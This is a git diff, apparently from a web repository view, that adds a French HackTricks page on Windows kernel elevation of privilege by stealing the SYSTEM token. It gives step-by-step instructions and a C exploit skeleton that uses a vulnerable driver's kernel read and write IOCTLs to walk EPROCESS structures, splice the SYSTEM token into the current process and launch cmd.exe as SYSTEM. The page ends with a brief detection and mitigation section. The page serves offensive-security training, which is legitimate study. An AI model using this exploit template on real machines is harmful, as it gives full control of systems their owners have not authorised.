- [VirtualAlloc documentation](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
File diff suppressed because it is too large
Load Diff
@ -0,0 +1,122 @@
|
||||
# Windows kernel EoP: Token stealing with arbitrary kernel R/W
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Vue d'ensemble
|
||||
|
||||
Si un driver vulnérable expose un IOCTL qui donne à un attaquant des primitives de lecture et/ou d'écriture arbitraires dans le kernel, l'élévation vers NT AUTHORITY\SYSTEM peut souvent être obtenue en volant un token SYSTEM. La technique copie le pointeur Token depuis l'EPROCESS d'un processus SYSTEM dans l'EPROCESS du processus courant.
|
||||
|
||||
Pourquoi ça marche :
|
||||
- Chaque processus possède une structure EPROCESS qui contient (parmi d'autres champs) un Token (en réalité un EX_FAST_REF vers un objet token).
|
||||
- Le processus SYSTEM (PID 4) détient un token avec tous les privilèges activés.
|
||||
- Remplacer l'EPROCESS.Token du processus courant par le pointeur du token SYSTEM fait que le processus courant s'exécute immédiatement en tant que SYSTEM.
|
||||
|
||||
> Les offsets dans EPROCESS varient selon les versions de Windows. Déterminez-les dynamiquement (symbols) ou utilisez des constantes spécifiques à la version. Souvenez-vous aussi que EPROCESS.Token est un EX_FAST_REF (les 3 bits de poids faible sont des flags de comptage de références).
|
||||
|
||||
## Étapes générales
|
||||
|
||||
1) Localisez la base de ntoskrnl.exe et résolvez l'adresse de PsInitialSystemProcess.
|
||||
- Depuis l'user mode, utilisez NtQuerySystemInformation(SystemModuleInformation) ou EnumDeviceDrivers pour obtenir les bases des drivers chargés.
|
||||
- Ajoutez l'offset de PsInitialSystemProcess (depuis les symbols / reverse) à la base du kernel pour obtenir son adresse.
|
||||
2) Lisez le pointeur à PsInitialSystemProcess → c'est un pointeur kernel vers l'EPROCESS de SYSTEM.
|
||||
3) Depuis l'EPROCESS de SYSTEM, lisez les offsets UniqueProcessId et ActiveProcessLinks pour parcourir la liste doublement chaînée des structures EPROCESS (ActiveProcessLinks.Flink/Blink) jusqu'à trouver l'EPROCESS dont UniqueProcessId égale GetCurrentProcessId(). Conservez les deux :
|
||||
- EPROCESS_SYSTEM (pour SYSTEM)
|
||||
- EPROCESS_SELF (pour le processus courant)
|
||||
4) Lisez la valeur du token SYSTEM : Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
|
||||
- Masquez les 3 bits de poids faible : Token_SYS_masked = Token_SYS & ~0xF (communément ~0xF ou ~0x7 selon le build ; sur x64 les 3 bits de poids faible sont utilisés — masque 0xFFFFFFFFFFFFFFF8).
|
||||
5) Option A (courante) : préservez les 3 bits de poids faible de votre token actuel et greffez-les sur le pointeur SYSTEM pour garder le comptage de références interne cohérent.
|
||||
- Token_ME = *(EPROCESS_SELF + TokenOffset)
|
||||
- Token_NEW = (Token_SYS_masked | (Token_ME & 0x7))
|
||||
6) Écrivez Token_NEW dans (EPROCESS_SELF + TokenOffset) en utilisant votre primitive d'écriture kernel.
|
||||
7) Votre processus courant est maintenant SYSTEM. Facultatif : lancez un nouveau cmd.exe ou powershell.exe pour vérifier.
|
||||
|
||||
## Pseudo-code
|
||||
|
||||
Below is a skeleton that only uses two IOCTLs from a vulnerable driver, one for 8-byte kernel read and one for 8-byte kernel write. Replace with your driver’s interface.
|
||||
```c
|
||||
#include <Windows.h>
|
||||
#include <Psapi.h>
|
||||
#include <stdint.h>
|
||||
|
||||
// Device + IOCTLs are driver-specific
|
||||
#define DEV_PATH "\\\\.\\VulnDrv"
|
||||
#define IOCTL_KREAD CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
|
||||
#define IOCTL_KWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)
|
||||
|
||||
// Version-specific (examples only – resolve per build!)
|
||||
static const uint32_t Off_EPROCESS_UniquePid = 0x448; // varies
|
||||
static const uint32_t Off_EPROCESS_Token = 0x4b8; // varies
|
||||
static const uint32_t Off_EPROCESS_ActiveLinks = 0x448 + 0x8; // often UniquePid+8, varies
|
||||
|
||||
BOOL kread_qword(HANDLE h, uint64_t kaddr, uint64_t *out) {
|
||||
struct { uint64_t addr; } in; struct { uint64_t val; } outb; DWORD ret;
|
||||
in.addr = kaddr; return DeviceIoControl(h, IOCTL_KREAD, &in, sizeof(in), &outb, sizeof(outb), &ret, NULL) && (*out = outb.val, TRUE);
|
||||
}
|
||||
BOOL kwrite_qword(HANDLE h, uint64_t kaddr, uint64_t val) {
|
||||
struct { uint64_t addr, val; } in; DWORD ret;
|
||||
in.addr = kaddr; in.val = val; return DeviceIoControl(h, IOCTL_KWRITE, &in, sizeof(in), NULL, 0, &ret, NULL);
|
||||
}
|
||||
|
||||
// Get ntoskrnl base (one option)
|
||||
uint64_t get_nt_base(void) {
|
||||
LPVOID drivers[1024]; DWORD cbNeeded;
|
||||
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded >= sizeof(LPVOID)) {
|
||||
return (uint64_t)drivers[0]; // first is typically ntoskrnl
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
HANDLE h = CreateFileA(DEV_PATH, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
|
||||
if (h == INVALID_HANDLE_VALUE) return 1;
|
||||
|
||||
// 1) Resolve PsInitialSystemProcess
|
||||
uint64_t nt = get_nt_base();
|
||||
uint64_t PsInitialSystemProcess = nt + /*offset of symbol*/ 0xDEADBEEF; // resolve per build
|
||||
|
||||
// 2) Read SYSTEM EPROCESS
|
||||
uint64_t EPROC_SYS; kread_qword(h, PsInitialSystemProcess, &EPROC_SYS);
|
||||
|
||||
// 3) Walk ActiveProcessLinks to find current EPROCESS
|
||||
DWORD myPid = GetCurrentProcessId();
|
||||
uint64_t cur = EPROC_SYS; // list is circular
|
||||
uint64_t EPROC_ME = 0;
|
||||
do {
|
||||
uint64_t pid; kread_qword(h, cur + Off_EPROCESS_UniquePid, &pid);
|
||||
if ((DWORD)pid == myPid) { EPROC_ME = cur; break; }
|
||||
uint64_t flink; kread_qword(h, cur + Off_EPROCESS_ActiveLinks, &flink);
|
||||
cur = flink - Off_EPROCESS_ActiveLinks; // CONTAINING_RECORD
|
||||
} while (cur != EPROC_SYS);
|
||||
|
||||
// 4) Read tokens
|
||||
uint64_t tok_sys, tok_me;
|
||||
kread_qword(h, EPROC_SYS + Off_EPROCESS_Token, &tok_sys);
|
||||
kread_qword(h, EPROC_ME + Off_EPROCESS_Token, &tok_me);
|
||||
|
||||
// 5) Mask EX_FAST_REF low bits and splice refcount bits
|
||||
uint64_t tok_sys_mask = tok_sys & ~0xF; // or ~0x7 on some builds
|
||||
uint64_t tok_new = tok_sys_mask | (tok_me & 0x7);
|
||||
|
||||
// 6) Write back
|
||||
kwrite_qword(h, EPROC_ME + Off_EPROCESS_Token, tok_new);
|
||||
|
||||
// 7) We are SYSTEM now
|
||||
system("cmd.exe");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Remarques :
|
||||
- Offsets : Utilisez WinDbg’s `dt nt!_EPROCESS` avec les PDBs de la cible, ou un runtime symbol loader, pour obtenir les offsets corrects. Ne hardcodez pas aveuglément.
|
||||
- Masque : Sur x64 le token est un EX_FAST_REF ; les 3 bits bas sont des bits de reference count. Conserver les bits bas originaux de votre token évite des incohérences immédiates du refcount.
|
||||
- Stabilité : Préférez élever le processus courant ; si vous élevez un helper de courte durée vous risquez de perdre SYSTEM quand il se termine.
|
||||
|
||||
## Détection & mitigation
|
||||
- Le chargement de drivers tiers non signés ou non fiables qui exposent des IOCTLs puissants est la cause racine.
|
||||
- Kernel Driver Blocklist (HVCI/CI), DeviceGuard, et les règles Attack Surface Reduction peuvent empêcher le chargement de drivers vulnérables.
|
||||
- EDR peut surveiller des séquences IOCTL suspectes qui implémentent arbitrary read/write et les token swaps.
|
||||
|
||||
## References
|
||||
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
|
||||
- [FuzzySecurity – Windows Kernel ExploitDev (token stealing examples)](https://www.fuzzysecurity.com/tutorials/expDev/17.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user